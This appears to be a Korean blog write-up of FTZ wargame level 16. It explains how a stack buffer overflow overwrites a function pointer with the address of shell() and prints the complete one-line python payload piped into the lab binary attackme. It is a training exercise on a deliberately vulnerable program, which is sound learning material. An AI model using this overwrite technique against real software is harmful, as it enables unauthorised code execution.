▲ level16의 힌트 입니다. 함수포인터 call을 선언해 printit를 호출시켜 줍니다. 함수포인터의 주소값을 printit()가 아닌 shell()의 주소로 바꿔주면 되겠네요.
▲ esp-56 만큼 해 주며 시작합니다. 마지막 부분에 ebp-16위치에 있는 주소값을 call 해 주는 모습이 보이네요. 따라서 이전문제와 비슷하지만 하드코딩값 주소가 아닌 shell()의 주소값을 넣어주면 되겠습니다.
▲ shell()함수의 시작주소는 0x080484d0 입니다. 따라서 공격은 NOP*40 + 0x080484d0 이 되겠네요.
▲ (python -c 'print "\x90"*40+"\xd0\x84\x04\x08"';cat)|./attackme
'System > FTZ' 카테고리의 다른 글
[FTZ school] level 18 (0) | 2019.03.19 |
---|---|
[FTZ school] level 17 (0) | 2019.03.19 |
[FTZ school] level 15 (0) | 2019.03.19 |
[FTZ school] level 14 (0) | 2019.03.19 |
[FTZ school] level 13 (0) | 2019.03.19 |